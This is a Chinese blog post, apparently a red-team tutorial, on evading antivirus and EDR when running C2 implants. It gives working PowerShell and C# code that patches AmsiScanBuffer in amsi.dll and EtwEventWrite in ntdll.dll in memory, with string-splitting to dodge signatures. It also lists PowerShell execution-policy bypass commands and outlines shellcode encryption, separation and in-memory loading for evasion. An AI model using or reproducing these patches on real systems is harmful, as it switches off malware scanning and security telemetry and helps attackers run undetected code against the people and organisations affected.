当前位置: 首页 > news >正文

C2远控篇PowerShellC#对抗AV-EDR停用AMSI接口阻断ETW跟踪调用

#C2远控-ShellCode-认知&环境

1.创建工程时关闭SDL检查

2.属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD

3.属性->C/C++->代码生成->禁用安全检查GS

4.关闭生成清单 属性->链接器->清单文件->生成清单 选择否

#C2远控-ShellCode-分析&提取

ShellCode的本质其实就是一段可以自主运行的代码。

它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,

因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。

目的:杀毒和感知平台如何定性

分析:OD&xdb&ida

提取:010Editor

加载:各种Loader方法执行

流程:ShellCode->Loader->EXE

思路:

1、Shellcode自写打乱-让杀毒不认识

2、Shellcode加密混淆-让杀毒不知道

3、Shellcode分离隐藏-让杀毒找不到

4、Shellcode注入回调-让杀毒绕圈圈

内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的ShellCode通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。

补充:

编辑器设置 VS

https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw

编译器差异 G++ GCC

https://blog.csdn.net/weixin_41012767/article/details/129365597

突破内存扫描

项目参考:https://github.com/wangfly-me/LoaderFly

360开启核晶(Vmware)

https://blog.csdn.net/fishfishfishman/article/details/134156418

对抗杀毒和感知云沙箱

常见沙盒沙箱检测技术

常见调试分析检测技术

https://github.com/a0rtega/pafish/

https://github.com/Arvanaghi/CheckPlease

https://github.com/wanttobeno/AntiDebuggers

https://github.com/LordNoteworthy/al-khaser

https://github.com/ZanderChang/anti-sandbox

https://github.com/nek0YanSu/CheckVM-Sandbox

https://github.com/sunn1day/malware-anti-techniques

https://bbs.kanxue.com/thread-225740.htm

https://anti-debug.checkpoint.com/techniques/debug-flags.html

Set-ExecutionPolicy Restricted

(1) 本地读取并以管道符运行

powershell Get-Content HelloWorld.ps1 | powershell -NoProfile -

(2) Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File HelloWorld.ps1

(3) Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File HelloWorld.ps1

参考:

https://github.com/INotGreen/Bypass-AMSI

https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg

https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

➢C2远控-PowerShell&C#-Bypass ETW

Windows事件跟踪(ETW)提供了一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件,Windows威胁情报事件跟踪还提供来自内核的跟踪,并允许以各种方式使用这些跟踪。BlueTeam 如何检测.NET的恶意执行,它通过诸如execute-

assembly .我们的工具包被曝光。在红队测试工具 [Cobalt Strike]有个功能,叫做 [execute_assembly],能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell利用脚本能够很容易的转换为C#代码,十分方便。简单来说就是它会在 Process 中执行 .NET Assemblies。原理是通过系统提供的API( ICLRMetaHost[、]达到将 CLR 载入的效果。

Bypass:主要应用在EDR对抗

对ntdll.dll进行观察导出函数EtwEventWrite,把第一个指令修改成ret阻断。

1、powershell

2、ShellCode

public static void etw()

        {

            try

            {

                IntPtr Library = LoadLibrary("n" + "t" + "d" + "l" + "l" + ".dll");

                IntPtr Address = GetProcAddress(Library, "Etw" + "Event" + "Write");

                uint oldProtect;

                bool protectResult = VirtualProtect(Address, (UIntPtr)1, 0x40, out oldProtect);

                Byte[] Patch = { 0xC3 }; // RET 指令

                Marshal.Copy(Patch, 0, Address, Patch.Length);

                Console.WriteLine("ETW Patch Applied");

            }

            catch (Exception ex)

            {

                Console.WriteLine("Exception occurred: " + ex.Message);

            }

        }

➢C2远控-PowerShell&C#-Bypass AMSI

许多内网场景或处于红队评估的渗透测试者很可能遇到过AMSI并且熟悉它的功能。

AMSI增强了对攻击期间常用的一些现代工具、策略和程序(TTP)的使用保护,因为它提高了反恶意软件产品的可见性。最相关的例子是 PowerShell 无文件加载,它已被一些APT组织和恶意软件制作商广泛研究。如今越来越多的防病毒厂商正在接入AMSI防病毒接口,因此在当下,如何去规避AMSI,成为红队渗透测试者不可避免的话题。

如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。

AMSI-Windowsxx版本后提供的自带的反病毒接口,对于以下操作会进行检查(其中国外杀毒,各种EDR集成接口调用),如果渗透中要用到这些操作功能就会受到检测,所以我们要尝试阻断绕过AMSI,其中检测的函数封装在amsi.dll->AmsiScanBufferamsi.dll中AmsiScanBuffer()函数尝试运行时让其直接返回0失效。

这是在 Windows 10上实现AMSI的所有组件的列表:

用户帐户控制或UAC(EXE、COM、MSI或ActiveX安装的提升)、

PowerShell(脚本、交互式使用和动态代码评估)、

Windows 脚本宿主(wscript.exe 和 cscript.exe)、

JavaScript 和VBScript Office VBA 宏  

认识PowerShell Amsi

1、Process Hacker看加载

2、x64_dbg 看amsi.dll->AmsiScanBuffer

绕过方法:

-阻断amsi.dll中AmsiScanBuffer()函数

-代码进行混淆,利用拆分替换混淆加密等方法

1、生成不落地上线代码

2、上线代码加上阻断代码

3、进行冷门混淆器打乱特征

PowerShell V1阻断代码:

#导入windowsAPI

$Win32 = @"

using System;

using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]

    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}

"@

#通过修补AmsiScanBuffer的功能来阻断amsi.dll的扫描进程

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

$p = 0

[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

PowerShell V2阻断代码:

function get_delegate_type {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

        [Parameter(Position = 1)] [Type] $var_return_type = [Void]

    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()

}

function get_proc_address {

    Param ($var_module, $var_procedure)     

    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

}

function Invoke-AMZZ {

    $ppruhu = get_proc_address amsi.dll "AmsiScanBuffer"

    $virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualProtect),(get_delegate_type (@([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType())) ([System.Boolean])));$p = 0

    $virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p)

    $scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3)

    [System.Runtime.InteropServices.Marshal]::Copy($scnfh, 0, $ppruhu, 6)

}

Invoke-AMZZ

C#阻断代码:

// 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。

public static void chaching()

{

    // 加载amsi.dll

    IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");

    // 获取AmsiScanBuffer函数的地址

    IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");

    uint p;

    // 修改AmsiScanBuffer函数的内存保护属性

    VirtualProtect(Address, (UIntPtr)5, 0x40, out p);

    // 准备新的函数字节码

    Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

    // 将新的函数字节码复制到AmsiScanBuffer函数的地址

    copy(Patch, Address);

    Console.WriteLine("Patch Applied");

}

相关文章:

  • 网站建设三网合一上海网站建设哪家好
  • 网站透明flash竞价推广托管公司介绍
  • 网站页面一般做多大网站多少钱
  • 开封网站建设zducm新的数据新闻
  • 企业网站规划与开发宁德市
  • 怎么做赌钱网站代理职业培训机构需要什么资质
  • 如何解决管家婆软件登录界面点下一步没有反应的问题
  • 3DSwiper 好看的走马灯轮播图
  • 医疗AI数智立体化体系V2.0泛化多模块编程操作手册--架构师版(上)
  • 公链(Public Blockchain)开发方案
  • 基于开源AI大模型与AI智能名片S2B2C商城小程序的企业营销数字化转型研究
  • 【机器学习深度学习】反向传播机制
  • ArkTS与仓颉开发语言:鸿蒙编程的双子星
  • 脉内频率捷变LFM信号
  • 【sklearn】K-means、密度聚类、层次聚类、GMM、谱聚类
  • IntersectionObserver 详细介绍(实现加载下一页效果)
  • 代码随想录|图论|01图论基础
  • 项目需求评审报告参考模板
  • cherry-pick除了使用命令,有没有什么工具可以使用,或者更高效的方法
  • OSS生命周期管理自动化:7天冷归档+30天低频访问的合规存储策略(结合企业级数据分级场景)
  • 从代码学习深度学习 - 情感分析:使用循环神经网络 PyTorch版
  • 【运维系列】Plane 开源项目安装和配置指南
  • 爬虫004----网页解析库
  • css 文字跳跃动画
  • prometheus 配置邮件告警
  • iostat中的util原理